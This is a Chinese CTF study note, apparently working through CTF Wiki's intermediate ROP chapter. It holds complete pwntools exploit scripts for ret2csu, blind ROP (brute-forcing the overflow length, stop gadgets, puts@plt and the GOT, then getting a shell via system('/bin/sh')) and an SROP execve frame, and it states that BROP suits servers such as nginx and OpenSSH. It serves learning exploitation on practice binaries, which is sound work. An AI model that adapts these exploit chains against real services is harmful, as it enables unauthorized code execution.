所用题目可在中级ROP - CTF Wiki (ctf-wiki.org) 找到;
ret2csu 对于X64(amd64)程序,函数传参为rdi,rsi,rdx,rcx,r8,r9,然后是栈;
而x64程序中有这样一个系统自带函数 __libc_csu_init,这个函数是用来对 libc 进行初始化操作的;
这个函数里面有许多可以利用的gadget,可以控制一些寄存器,可以用一道题来进行演示(level5);
分析后很简单的一个栈溢出,没了,什么都没有,只有一个我们上面提到的__libc_csu_init可以利用;
我也不知道为什么ida翻译过来的内容是这样的,而且这段代码还不能直接利用pop rdi ret(拆开pop r15机械码),很奇怪;
思路为:
获取libc基址;
拿system地址;
拿binsh地址;
执行system(binsh);
编写exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) write_addr = 0x601000 read_addr = 0x601008 main = 0x400564 pop_rbx_egg_gadget = 0x400606 dx_si_di_gadget = 0x4005F0 p = process('./level5' ) payload = b'a' * 0x88 + p64(pop_rbx_egg_gadget) +p64(0 ) + p64(0 ) + p64(1 ) + p64(write_addr) + p64(1 ) + p64(write_addr) + p64(8 ) + p64(dx_si_di_gadget) payload += p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(main) p.recv() p.sendline(payload) write_in_libc = u64(p.recvuntil("Hello, World\n" )[:8 ]) libc.address = write_in_libc - libc.sym['write' ] binsh = next (libc.search(b'/bin/sh\x00' )) system = libc.sym['system' ] print ('binsh:' ,hex (binsh),' system:' ,hex (system))bss = 0x0601028 payload = b'a' * 0x88 + p64(pop_rbx_egg_gadget) +p64(0 ) + p64(0 ) + p64(1 ) + p64(read_addr) + p64(0 ) + p64(bss) + p64(16 ) + p64(dx_si_di_gadget) payload += p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(main) p.sendline(payload) p.send(p64(system) + b'/bin/sh\x00' ) p.recv() payload = b'a' * 0x88 + p64(pop_rbx_egg_gadget) +p64(0 ) + p64(0 ) + p64(1 ) + p64(bss) + p64(bss+8 ) + p64(0 ) + p64(0 ) + p64(dx_si_di_gadget) p.sendline(payload) p.interactive()
在wiki上,作者提到了对ret2csu的改进,思路是尽量不改变使用的寄存器的值且提前改变,进行多次利用,节省ROP空间;
ret2reg 原理
查看溢出函数返回时哪个寄存值指向溢出缓冲区空间;
然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址(gadget利用);
reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的);
这里解释下JOP和COP的含义:jump oriented programming, call oriented programming;
在ret2csu中,我们最后利用的一次payload实际上就是COP,思路类似;
BROP 全名:blind return oriented programming;
攻击条件
源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
攻击原理 目前,大部分应用都会开启 ASLR、NX、Canary 保护;
基本思路 在 BROP 中,基本的遵循的思路如下
判断栈溢出长度
Stack Reading
获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
Blind ROP
找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
Build the exploit
利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。
由于程序崩溃会重新启动,且地址一样,cannary一样,所以可以通过溢出崩溃进行爆破;
而寻找gadget需要一些技巧:
寻找 stop gadget:所谓stop gadget
一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(用于之后测试gadget地址);当找到一段gadget之后,程序继续执行返回到这段连接状态地区时,程序一直连接,证明找到一段可用的gadget;
识别gadget:将可利用的gadget称之为probe等待测试,此外还需要找到stop(stop gadget地址)和trap(导致程序崩溃地址);利用stop和trap的不同摆放栈上的位置可以探测出,probe里面的内容,比如:
probe,trap,stop,traps:通过这个样子找到只是弹出一个栈变量的gadget(崩溃了就不是,没崩溃就说明找到了);
相当于在识别gadget时,只需要确定stop之前有几个trap,就能知道pop了几次,同时如果要确认probe本身不是一个stop,则需要二次确认,在probe后方全部添加为trap,如果崩了,说明probe找对了,否则就被误导了;
在ret2csu的__libc_csu_init函数后面的那一串pop称之为brop gadget,因为它的特征很明显,一次性pop 6次,所以在找的时候尽量去找brop gadget,因为其他找到的gadget无法识别它到底pop的是哪个寄存器!通过brop gadget,可以控制rsi,edi;
寻找plt表利用函数:
为什么是找plt而不直接找got呢?因为plt在got内存之前,在很多段之前,从程序基址找起,第一次找到的就是它;
对于plt表,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表(使用了它的函数);除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头;
关于plt表的格式问题公式化套路:最后一次调用函数成功的地址减6为真实plt表地址;
之后就会利用strcmp来控制rdx的值,进而使用打印函数;
判断strcmp的方法也简单:控制前两个参数为可读地址,它才能正确执行,否则崩溃;
之后就是寻找输出函数;
寻找put有一个公式:
其中addr为爆破地址;
如果能打印出elf,就说明找对了输出函数;
1 payload = b'a' *length +p64(pop_rdi_ret)+p64(0x400000 )+p64(addr)+p64(stop_gadget)
实现攻击 以一道题为例子: HCTF2016 的出题人失踪了
没有二进制文件,直接用脚本进行测试:
测试溢出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *def testStack (payload ): p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) p.sendline(payload) return p.recv() for i in range (1 ,0x100 ): try : res = testStack(b'a' *i) print (res) except EOFError: print ('this is length: ' ,i,' .' ) print (res) break
当i = 73时,发生EOF报错,同时没有出现cannary报错,说明72之后为返回地址;
寻找stop gadget 此时开始寻找关键判断内容:stop gadget;
因为原程序本身就有一个等待输入的部分,所以可以思考能否返回到再次输入的部分呢?
这个样子就构成了stop gadget,同时也能再一次进行输入利用,相当于返回了一次main;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *overflowlen = 72 for i in range (0x400597 ,0xffffffffffffffff ): try : print (hex (i)) p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' * overflowlen + p64(i) p.sendline(payload) res = p.recv() if res == b'WelCome my friend,Do you know password?\n' : print ('stop gadget: ' ,hex (i)) exit(0 ) p.close() except Exception: p.close()
利用如上脚本得到一个stopgadget地址;
识别brop gadget 利用之前的原理寻找连续6pop的的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *overflowlen = 72 stop = 0x4005c0 trap = 0x400000 for i in range (0x40074a ,0xffffffffffffffff ): try : if i == 0x4006f2 or i == 0x400700 or i == 0x400734 : continue print (hex (i)) p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(stop) + p64(trap) p.sendline(payload) res = p.recv(timeout = 2 ) if res == b'WelCome my friend,Do you know password?\n' : p.close() try : p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(trap) + p64(trap) p.sendline(payload) res = p.recv(timeout = 2 ) except Exception: print ('brop gadget: ' ,hex (i)) exit(0 ) p.close() continue p.close() except Exception: p.close()
可以找到brop gadget的地址;
同时这道题的csu pop是正常的,不是mov再给rsp减38h,是连着pop的,所以可以用pop rdi之前提及到的这种小技巧;
接下来就是找函数了;
确定put plt地址
上图是关于brop gadget的利用,直接通过brop gadget地址 + 9获取 pop rdi ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *overflowlen = 72 stop = 0x4005c0 trap = 0x400000 brop_gadget = 0x4007ba pop_rdi_ret = brop_gadget + 9 for i in range (0x400000 ,0xffffffffffffffff ): print (hex (i)) p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' *overflowlen + p64(pop_rdi_ret) + p64(0x400000 ) + p64(i) + p64(stop) p.sendline(payload) try : res = p.recv() if res.startswith(b'\x7fELF' ): print ('put_addr: ' ,hex (i)) break p.close() except Exception: p.close()
至此获取put导入表中的地址,但这里获取的是调用put之前的一段代码,我们需要找到最后一次调用put成功的段减去6的偏移(plt表的结构问题),才是put在导入表中真正的地址!
在经过一轮测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *overflowlen = 72 stop = 0x4005c0 trap = 0x400000 brop_gadget = 0x4007ba pop_rdi_ret = brop_gadget + 9 for i in range (0x400555 ,0xffffffffffffffff ): print (hex (i)) p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' *overflowlen + p64(pop_rdi_ret) + p64(0x400000 ) + p64(i) + p64(stop) p.sendline(payload) try : res = p.recv() if res.startswith(b'\x7fELF' ): print ('put_addr: ' ,hex (i)) p.close() except Exception: p.close()
通过测试可以知道最后一次通过判断是put_addr: 0x400566;
那么put的plt地址为0x400560;
泄露put got地址 用put泄露地址,要注意它是把内存按照字符串进行打印,遇到00会截断;
所以定义一个函数,按一段内存进行泄露;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *overflowlen = 72 stop = 0x4005c0 trap = 0x400000 brop_gadget = 0x4007ba pop_rdi_ret = brop_gadget + 9 put_plt = 0x400560 def leak (start,end ): data = b'' i = start while (1 ): p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' *overflowlen + p64(pop_rdi_ret) + p64(i) + p64(put_plt) + p64(stop) p.sendline(payload) try : res = p.recvuntil(b"\nWelCome" ,timeout = 2 ) res = res[:-8 ] data = data + res + b'\x00' i = i + len (res) + 1 p.close() except Exception: p.close() if i >= end: break return data res = leak(put_plt,put_plt+0x100 ) with open ('codess' ,'wb' ) as f: f.write(res)
之后用ida打开codess重定位到400560:
能够拿到put的got表地址在0x601018;
之后就是getshell了;
最终的EXP 思路为获取libc基址,调用system,结束;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) overflowlen = 72 stop = 0x4005c0 trap = 0x400000 brop_gadget = 0x4007ba pop_rdi_ret = brop_gadget + 9 put_plt = 0x400560 put_got = 0x601018 p = process('./brop' ) p.recvuntil("WelCome my friend,Do you know password?\n" ) payload = b'a' *overflowlen + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(stop) p.sendline(payload) res = p.recvuntil(b'\nWelCome' ) put_addr_in_libc = u64(res[:-8 ].ljust(8 ,b'\x00' )) libc.address = put_addr_in_libc - libc.sym['puts' ] binsh = next (libc.search(b'/bin/sh\x00' )) system = libc.sym['system' ] p.recv() payload = b'a' *overflowlen + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(stop) p.sendline(payload) p.interactive()
总结一下,这道题实际上没有开cannary,没有开pie,如果开了,需要先爆破cannary,之后寻找程序基址;
如果开了PIE,就比较棘手了,首先确定put调用的方法需要换了,除非有找到程序基址的方法;
CTF WIKI上没有明确提出如果有PIE如何解决的问题;
其实可以通过获取的stop gadget地址(回到输入的地址)来推测是否开启PIE,大概确定一个基址的范围(用于设置起点快速遍历);
确定put的方法可以直接把40W打印出ELF改为打印BROP gadget处的特征码就行了,可以不用确定基址;
之后还是照常做就行;
Stack Smash 原理 当发生栈溢出时, libc会调用一个函数: __fortify_fail 传参为 stack smashing detected 字符串;
同时这个函数会打印文件名(环境变量),这个文件名存在main函数栈的下方,所以栈溢出可以覆盖到;
适用版本为 glibc < 2.27;
补充:环境变量时存放在栈上的,同时libc里有一个符号叫 environ,它存放了环境变量地址,通过libc基址可拿到 environ地址,通过environ地址可拿到环境变量地址,也就是栈上的地址;
利用 可以读取内存中的字符串信息,将其覆盖到对应栈位置;
所以如果有题目在内存中读取了flag,可以思考利用这个;
SROP sigreturn oriented programming(面向sigreturn的编写),sigreturn 是一个系统调用,它在unix系统发生signal时会被间接调用,信号机制(中断);
原理 内核向进程发起一个signal,该进程被挂起(阻塞态),CPU进入内核态;
内核为其保存上下文,跳转相应的signal handler(一个函数,处理的时候继承挂起进程的内存空间,用户态,由进程本身定义编写)进行处理;
处理程序执行完毕,切入进程,恢复其上下文,继续执行;
Linux下,内核会帮用户进程将其上下文保存在它的栈上,然后在栈顶给到地址:rt_sigreturn,这个函数中会执行sigreturn系统调用;当signal handler执行完后,会返回去执行sigreturn;
出现的问题:
sigreturn也是用户态执行;
上下文恢复不会检测,直接用,覆盖了的话,寄存器信息就变了;
利用 跳过前两步(内核给到signal,保存上下文),手动编写SROP链(自己写的上下文信息以及rt_sigreturn地址),手动的return到sigreturn,自动的帮我们恢复我们定义的上下文,从而控制程序流;
rt_sigreturn在i386下,存放于vdso,而在x64下,int 15就可以直接系统调用它;
主要利用x64下的,其SROP构造如下:
在pwntools里给出了关于SROP的利用:
1 2 3 4 5 6 7 8 9 context.arch = 'amd64' frame = SigreturnFrame() frame.rax = 59 frame.rdi = binsh_addr frame.rip = syscall frame.rsi = 0 payload = b'a' *0x10 + p64(mov_rax_15_ret) + p64(syscall) + bytes (frame)
当禁用59 execve时,通过orw(open read write)获取flag;